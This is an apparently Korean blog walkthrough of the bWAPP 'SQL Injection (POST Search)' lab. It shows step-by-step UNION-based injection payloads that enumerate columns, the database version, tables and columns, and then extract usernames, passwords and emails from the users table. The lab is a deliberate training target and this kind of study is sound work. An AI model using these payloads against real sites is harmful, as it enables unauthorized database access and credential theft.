SQL Injection (POST Search)
SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여
데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다.
SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다.
악의적인 SQL 문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법
Post 방식을 사용하기 때문에, Burp Suite를 사용하여 진행한다.
title과 action 변수가 존재하는 것을 확인.
[ 공격 가능 확인 ]
입력 값 : '
'입력시에 문법 오류가 발생하는 것을 확인했다.
title에서 문법에러가 나오는지 action에서 문법오류가나오는지 확인한 결과
title에서 문법에러가 나오는 것을 확인했다.
[ 모두 참인 구문 입력 ]
결과 값 : ' or 1=1#
참으로만드는 SQL 구문을 입력 시, 리스트가 출력된다.
[ 컬럼 수 확인 ]
결과 값 : ' UNION SELECT ALL 1#
' UNION SELECT ALL 1, 2#
' UNION SELECT ALL 1, 2, 3#
' UNION SELECT ALL 1, 2, 3, 4#
' UNION SELECT ALL 1, 2, 3, 4, 5#
' UNION SELECT ALL 1, 2, 3, 4, 5, 6#
모두 에러가 낫다.
결과 값 : ' UNION SELECT ALL 1, 2, 3, 4, 5, 6, 7#
7번째에는 성공하여서, 칼럼이 7개인것을 확인.
[ 데이터 베이스 버전 확인]
입력 값 : ' UNION SELECT ALL 1, @@version,3,4,5,6,7#
5.0.96-0ubuntu3 버전을 사용하고있는 것을 확인하였다.
[ 테이블 명 확인 ]
입력 값 : ' UNION SELECT ALL 1, table_name,3,4,5,6,7 from information_schema.tables#
테이블에서 사용하고 있는 테이블 명을 확인하였다.
[ users 테이블의 컬럼 명 확인 ]
입력 값 : ' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
[ users 테이블의 일부 컬럼 중 내용 보기 ]
입력 값 : ' UNION SELECT ALL 1, id, login, password, email,6,7 from users#
저장된 비밀번호, id 정보, 이메일 정보가 나오고있다.
단계를 통하여,sql injcetion으로 계정정보를 추출했다.
'Web hacking' 카테고리의 다른 글
bWAPP 16. SQL Injection (AJAX JSON jQuery) (0) | 2022.02.10 |
---|---|
bWAPP 15. SQL Injection (POST Select) (0) | 2022.02.07 |
bWAPP 13. SQL Injection (GET/Select) (0) | 2022.02.06 |
bWAPP 12. SQL Injection (GET/Search) (0) | 2022.02.06 |
bWAPP 11. Server-Side Includes (SSI) Injection (0) | 2022.02.06 |